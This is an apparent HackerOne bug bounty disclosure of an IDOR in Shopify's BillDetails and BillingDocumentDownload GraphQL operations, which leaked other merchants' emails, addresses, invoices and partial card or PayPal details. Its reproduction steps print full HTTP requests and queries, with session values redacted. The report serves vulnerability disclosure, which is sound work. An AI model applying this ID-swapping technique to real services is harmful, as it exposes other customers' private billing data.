Lucene search

K
hackeroneBlaklisH1:2207248
HistoryOct 12, 2023 - 11:14 p.m.

Shopify: IDOR on GraphQL queries BillingDocumentDownload and BillDetails

2023-10-1223:14:29
blaklis
hackerone.com
$5000
6
shopify
idor
graphql
billing operations
data leak
security issue
web security

7 High

AI Score

Confidence

Low

Summary:

An IDOR on the BillingInvoice id on both BillingDocumentDownload and BillDetails graphql operations are leaking other merchants’ ██████:

  • email
  • full address
  • content of their invoice
  • last 4 digits of credit card + type of credit card OR paypal email
  • shop impacted

Shops Used to Test:

Tested ID ██████ before I saw it was indeed embedding others’ customers data.

Relevant Request IDs:

f858a40e-ad0d-407a-a589-3ffb40cc5ae5

Steps To Reproduce:

  1. Whatever the user you’re loggedin with, run the following request :
POST /api/shopify/███?operation=BillDetails&type=query HTTP/2
Host: admin.shopify.com
Cookie: ██████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████████
Caller-Pathname: /store/████████/access_account/invoice/███
Content-Length: 6674
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillDetails","variables":{"id":"████","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!) {\n  shop {\n    id\n    myshopifyDomain\n    countryCode\n    createdAt\n    name\n    plan {\n      name\n      __typename\n    }\n    easeMerchantFailedBillManualPaymentAttempts: experimentAssignment(\n      name: \"ease_merchant_failed_bill_manual_payment_attempts\"\n    )\n    __typename\n  }\n  billingAccount {\n    id\n    subscription @include(if: $hasBillingSubscriptionsPermission) {\n      id\n      billingPeriod\n      __typename\n    }\n    activePaymentMethod {\n      __typename\n      ... on BillingBankAccount {\n        id\n        bankName\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingCreditCard {\n        id\n        brand\n        lastDigits\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingReseller {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingPaypalAccount {\n        id\n        email\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingBalance {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingShopifyBalanceCard {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingManualPayment {\n        id\n        compatibleCurrencies\n        __typename\n      }\n      ... on BillingUpiAccount {\n        id\n        upiId\n        compatibleCurrencies\n        __typename\n      }\n    }\n    ...BillingPaymentMethods\n    validPaymentMethods\n    currency\n    __typename\n  }\n  node(id: $id) {\n    id\n    ... on BillingInvoice {\n      id\n      credits {\n        name\n        category\n        invoiceAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      chargeCategories {\n        shopId\n        shopName\n        shopDomain\n        category\n        name\n        description\n        count\n        subtotalAmount {\n          amount\n          currencyCode\n          __typename\n        }\n        charges {\n          __typename\n          discountValue {\n            __typename\n            ... on AppSubscriptionDiscountPercentage {\n              percentage\n              __typename\n            }\n            ... on AppSubscriptionDiscountAmount {\n              amount {\n                amount\n                currencyCode\n                __typename\n              }\n              __typename\n            }\n          }\n          amount {\n            amount\n            currencyCode\n            __typename\n          }\n          originalAmount {\n            amount\n            currencyCode\n            __typename\n          }\n          exchangeRate\n          exchangeRateAt\n          issuedAt\n          description\n          title\n          apiClientId\n          feeType\n          hasTraceabilityBetaFlag\n          chargesUrl: url\n        }\n        __typename\n      }\n      createdAt\n      billOn\n      dueOn\n      netTerm\n      status\n      name\n      originClassification\n      prefixBillName\n      purchaseType\n      authenticationStatus\n      strongCustomerAuthenticationPayload {\n        clientToken\n        paymentMethodNonce\n        redirectUrl\n        type\n        __typename\n      }\n      lastFailureReason\n      lastFailureMessage\n      totalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      totalCreditAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      subtotalAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      refundedAmount {\n        amount\n        currencyCode\n        __typename\n      }\n      timeline {\n        status\n        date\n        amount {\n          amount\n          currencyCode\n          __typename\n        }\n        __typename\n      }\n      paymentMethod {\n        __typename\n        ... on BillingBankAccount {\n          id\n          bankName\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingCreditCard {\n          id\n          brand\n          lastDigits\n          synchronous\n          __typename\n        }\n        ... on BillingReseller {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingPaypalAccount {\n          id\n          email\n          synchronous\n          __typename\n        }\n        ... on BillingBalance {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingManualPayment {\n          id\n          synchronous\n          __typename\n        }\n        ... on BillingUpiAccount {\n          id\n          upiId\n          synchronous\n          __typename\n        }\n        ... on BillingShopifyBalanceCard {\n          id\n          synchronous\n          __typename\n        }\n      }\n      __typename\n    }\n    __typename\n  }\n}\n\nfragment BillingPaymentMethods on BillingAccount {\n  id\n  paymentMethods {\n    __typename\n    ... on BillingBankAccount {\n      id\n      priority\n      bankName\n      lastDigits\n      verificationStatus\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingCreditCard {\n      id\n      priority\n      brand\n      lastDigits\n      expired\n      expiryMonth\n      expiryYear\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingShopifyBalanceCard {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingReseller {\n      id\n      priority\n      uid\n      handle\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingPaypalAccount {\n      id\n      priority\n      email\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingBalance {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingShopifyBalanceAccount {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingUpiAccount {\n      id\n      priority\n      upiId\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n    ... on BillingManualPayment {\n      id\n      priority\n      synchronous\n      compatibleCurrencies\n      __typename\n    }\n  }\n  __typename\n}\n"}

That will give you some infos about the invoice.

You can also download the PDF of the invoice, with different infos embedded in it :

POST /api/shopify/██████?operation=BillingDocumentDownload&type=mutation HTTP/2
Host: admin.shopify.com
Cookie: ██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████
Caller-Pathname: /store/█████████/access_account/invoice/██████
Content-Length: 433
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers

{"operationName":"BillingDocumentDownload","variables":{"id":"████","documentType":"CREDIT_NOTE"},"query":"mutation BillingDocumentDownload($id: ID!, $documentType: BillingDocumentType) {\n  billingDocumentDownload(id: $id, documentType: $documentType) {\n    job {\n      id\n      __typename\n    }\n    userErrors {\n      field\n      message\n      __typename\n    }\n    __typename\n  }\n}\n"}

Replace in the request the cookies, the shop name and the CSRF token, then access https://admin.shopify.com/store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE

Funnily enough, the PDF invoice display my own firstname / lastname, but will display the other merchants’ email and full address.

Impact

Summary:

An attacker is able to dump ███ merchants through their invoices.

7 High

AI Score

Confidence

Low